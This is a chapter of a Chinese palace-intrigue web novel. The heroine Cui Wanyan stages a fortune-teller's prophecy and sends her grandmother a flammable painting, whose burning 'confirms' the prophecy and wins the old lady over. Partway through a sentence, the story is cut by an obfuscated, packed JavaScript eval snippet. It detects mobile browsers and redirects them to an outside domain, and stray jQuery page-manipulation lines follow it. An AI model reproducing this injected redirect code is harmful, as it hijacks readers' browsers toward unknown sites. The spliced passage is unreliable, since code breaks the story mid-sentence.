崔老夫人走后,崔莞言从屏风后出来,站在窗边,看着国公府的轿辇走远,直至消失在转角。
“你做得不错。”她对白眉说。
白眉自觉并未出多大力,不过是照着她教的,一字不差地说了出来,便叫那平日高高在上的国公府老夫人面色惨白、连声称是。
真正动手的,不是他。
他抬眼,瞥向窗边那道纤瘦的身影。
这位仙人年纪不大,眉眼总带着漠视苍生的悲寂,自幼被弃在外吃尽苦楚,如今回到这锦绣荣华的上京,却依旧冷静清明。
白眉心中暗暗叹服。如此手段、如此心性,怎会是灾星?
她分明,是这世上少有的龙凤。
崔莞言的视线仍停在人群散去的街角,忽然瞥见一个熟悉的身影。
她和那人也算得上是“老友”了。
今日,那人多半是来看白眉开天眼的热闹。
她收回目光,抬手示意白眉过来。“叫你分文不取,倒是委屈你了。”
“不委屈,能为小姐办事,是白某的荣幸。”白眉连忙躬身。
崔莞言抬手指向街对面那家绣坊门口。“看见那位穿明黄色衣裳的姑娘了吗?”
“去告诉她,就说她是享福的命,日后定能高嫁。赏钱,自然少不了你的。”
-
回府时,崔莞言听说,崔老夫人因一路从护国寺赶回,舟车劳顿,吩咐了不让任何人打扰。
“老夫人回来了,小姐今日可要拜见?”桃枝端来一壶花茶,试探地问。
桃枝的小心思,崔莞言看得分明。去拜见?好落个冲撞长辈、讨人嫌的罪名,让李氏借机出手?
她垂眸接过茶盏:“祖母舟车劳顿,理当好生歇息,哪能冒昧叨扰?你这是叫我去触霉头?”
桃枝脸色一白,手中茶壶差点没拿稳:“奴、奴婢不敢……奴婢只是想着小姐初回京,孝道为先……”
崔莞言冷冷地盯着她,片刻后唇边笑意一挑。“只是句玩笑话罢了,可吓着你了?”她低头抿了一口茶,眉眼温柔。
桃枝却是脊背一凉。
“没……没有。”
见崔莞言不再看她,她才如蒙大赦般匆匆行礼,嘴里嘟囔着要去看晚膳,脚步匆匆地退了出去。
屋内静了下来。
不知何时,柳枝垂着头冒出来,手中提着一个食盒,小心翼翼地走上前。
“小姐,这是……刚送来的点心。”
食盒半掩着,露出里面整整齐齐摆放着的梨花糕。
她从前最爱吃这点心,王府的厨房里有个手艺极好的婆子,几乎每日午后都会为她做不同的糕点,她最爱的便是这口梨花糕,软糯清甜,入口即化。
那婆子是最早进王府的一批下人,现下应已在褚元唐身边伺候着。
她拿起一块咬了一口,那点清香停在唇齿间,却无半分甜意。
回过神,她吩咐道:“去把我买回来的蜡笺和松脂墨拿过来。”
-
歇息了一日,崔老夫人总算恢复了精神,一早便坐在正厅念佛经。
伺候她的赵嬷嬷推门进来。
“老夫人,二小姐来了。”
崔老夫人闻言抬起眼。
虽说昨日那大师说她是福星,可这十七年来灾星的说法早已在她心底生根发芽,叫她骤然对那丫头好,她心里还是拧着,哪里能立刻改了念头?
沉默片刻,她摆摆手:“你就说我还累着,今日不见她了,去库房取几匹云锦和两只珠钗给她,让她回去。”
“回老夫人,二小姐未说要拜见……只是送了一幅画过来,说是给您的礼。”
“画?”
崔老夫人眉心一跳,看向那被捧进来的锦盒。“打开吧,让我瞧瞧。”
赵嬷嬷展开画卷,一股松香与淡淡的油墨味散开。
画上是一幅寿比南山图,山石以浓墨勾勒,笔触硬朗,崖壁嶙峋,层层叠叠直插天际,松柏扎根于石缝中,枝干扭曲向上,枝叶繁茂。
崔老夫人盯着画上那株古松看了很久,忽觉浑身发软,抚了抚手臂想将那阵寒意拍散,却怎么也散不去。
“收起来吧。”
赵嬷嬷应声将画卷好,刚要退下,崔老夫人又抬起手,眉头紧紧皱起。
明明是祝寿的画,可不知怎的,她看着那黑白分明、线条凌厉的山石古松,总觉得画上那团浓墨,像是干透的暗血,隐隐透着腥气。画卷间似有一股阴冷的风吹出,无声无息地缠上来,让人心头发凉。
“算了……拿去烧了吧。”
赵嬷嬷愣了愣,“老夫人,大师不是说要对二小姐好些……”
“府上好吃好喝地伺候着,又不曾亏待她。烧了吧,别留在眼前晦气。”崔老夫人有些不耐烦,闭上眼,挥手让她出去。
赵嬷嬷见劝不动,只得应下,快步退出屋子,在院中找了个火盆,将那画卷扔进去。
“唉,可惜了。”她叹息着摇了摇头,这二小姐倒是个懂事的,可算命的几句话,又哪里能动得了老夫人的心思。
她弯腰,点燃火折子。
火苗舔上蜡笺的那一瞬,本该是寻常的“滋啦”一声轻响,可下一刻,火焰猛地腾起,黑烟飘散开来。
“哎呀!”
她慌忙后退,却不防火星飞溅出来落在她裙摆上,火苗沿着布褶迅速向上窜去。
“着火了!来人啊!”
她拍打着裙摆,火苗却越蹿越高,带起一股呛鼻的焦糊味,慌乱间她又撞倒了旁边的盆景。
院门口守着的小厮和丫鬟听见动静,纷纷冲进来。
“抖开裙子!”
“嬷嬷别乱跑!”
一群人正乱作一团时,崔老夫人被喧嚷惊动,披着斗篷走出来,抬眼便见院中有火光,焦味直扑面门。
“怎么回事?!”她一惊,险些没站稳,身子踉跄,被身边的丫鬟扶住才没摔倒。
“快泼水啊!还愣着做什么!”
“是,快拿水来!快拿水!”
小厮提着水盆冲上来,冰凉的水“哗”地泼在赵嬷嬷身上,火瞬间灭了。
赵嬷嬷打了个寒噤,浑身湿漉狼狈不堪。
她赶忙向崔老夫人请罪:“奴婢该死……奴婢一时手忙脚乱,险些惹出大祸,请老夫人责罚!”
崔老夫人被火光惊得心口发紧,望着眼前一地狼藉,想起算命天师的话。
若不真心对她,身边便会有……火光之灾!
应验了,竟真的应验了!
-
听竹轩偏僻,一向安静,今日外头却吵吵嚷嚷。
青禾出去看了一圈,回来说:“小姐,是几个丫鬟躲在那说笑,说是老夫人院里的赵嬷嬷不知怎的身上着了火,狼狈得不成样子。”
崔莞言倚在窗边,听完后笑了,眼底却冷得渗人。
还能是为什么?自然是为了烧画,引火烧身。
那幅画是她精心准备的,若祖母肯好好放着也罢,若觉得晦气要烧掉,蜡纸和松脂墨都极易引火,一旦点燃,火势迅猛,必定火星乱溅。
果然祖母是不全信白眉之言的,好在她留了一手,现在呢?祖母怕是不得不信了。
午后,听竹轩来了婆子传话。
“二小姐,老夫人请您过去。”
崔莞言换了身素净的衣裳,便随那婆子去了。
到时,李氏携
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970180|177806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
庄氏、孙氏已在正屋坐着。
刚进门,崔老夫人便急着朝她朝手:“好孩子,可算回来了。”
崔莞言见她这副惺惺作态的样子只觉恶心,她强令自己换上楚楚可怜的神情,眼圈泛红,直直跪了下来。
“莞言给祖母请安。”
崔老夫人望着面前这眉目清丽、泪光微闪的少女,十七年了,这孩子竟也长得这般大了,礼数周全教养极好,此刻更信那福星之说才是真。
“快起来,到祖母身边坐。”
崔莞言颤颤巍巍地起身,刚在她身旁坐下,便被拉住了手。
“这么多年你受苦了,以后有祖母给你撑腰,谁要是想欺负你,我必不饶了她。”说话间,她眼神凌厉地扫过下首座位上神色各异的三人。
李氏见这刻薄婆婆竟对崔莞言这般亲昵,恨得牙痒却不敢多言。
庄氏与孙氏相视一眼,眼底尽是疑惑。
崔莞言拭去眼角泪光,垂首应道:“多谢祖母疼爱。”
崔老夫人盯着她看了片刻,目光在她清秀苍白的脸上缓缓游移,皱眉道:“听竹轩那地方太偏僻,也寒凉潮湿,哪是人住的?你在封州吃了这么多年苦,回京了还要受罪不成?
说着,她不满地瞪了一眼李氏。“从今日起,你便搬去南院,那院子离我近些,我也能随时照看你。”
崔莞言心里冷笑,抬眸,看见祖母脸上刻意做出的和蔼笑容,眼底却依旧是那熟悉的高高在上的傲慢和自以为的施舍。
可她依旧收敛下眼底的冷意,声音轻轻柔柔,带着受宠若惊、小心翼翼的欣喜:“多谢祖母体恤,莞言定不敢辜负祖母这番疼爱。”
崔老夫人被她这副懂事模样哄得心满意足,握着她的手,连声道:“好,好,往后你若缺什么用什么,尽管来和我说。咱们国公府的女儿,什么都不能差了去。”
拍了拍崔莞言的手,崔老夫人转头又看向下首,眼神一冷。
“以后府中谁也不许再提灾星二字,若是我听见谁背地里乱嚼舌根,污了莞言的名声,坏了国公府的清静,便依家法处置,再赶出府去。”
李氏嘴角扯了扯,立刻应道:“母亲说的是,儿媳记下了。”
庄氏与孙氏也忙跟着应声,恭恭敬敬喊了“是”。
屋中气氛凝滞。
李氏垂在袖中攥紧的手忍不住发颤,心想,最爱说灾星的,不就是你这个老东西吗?如今倒是要装起菩萨来了。
庄氏也心思一转,暗暗捏着帕子,心中泛起寒意。那丫头到底给老太太灌了什么迷魂汤,竟让她这般护着?
“今日也晚了,你们先回去,莞言留下陪我用膳。”
三人面色各异,恭声告退,只余下祖孙二人对坐于榻上,窗外一缕日光落在少女安静恭顺的脸上,映出她唇角那一抹几乎看不见的讽笑。
-
用完晚膳出来时,南院已收拾妥帖,青禾笑得合不拢嘴:“小姐,您可真厉害,说会住进南院,果真住进来了。南院可比那听竹轩强太多,连床榻都是新换的软垫,旁边还有暖阁,冬天都不怕冷。”
崔莞言摸了摸青禾的脑袋。“开心?”
青禾笑着点头:“当然开心啊,小姐总算能过几天舒心日子了。”
崔莞言轻轻一笑,抬眼望向夜色中寂静的国公府深处,“这才哪到哪。”
这府里的一切,她都要拿到手,再毁掉。
青禾刚想开口,却见她转身要走。“小姐,这么晚了,您这是要去哪里?”她忙追上去。
“当然是去见一个人。”
“这么晚了,小姐要去见谁?”
“张嬷嬷。”
回来这些天,差点把她忘了。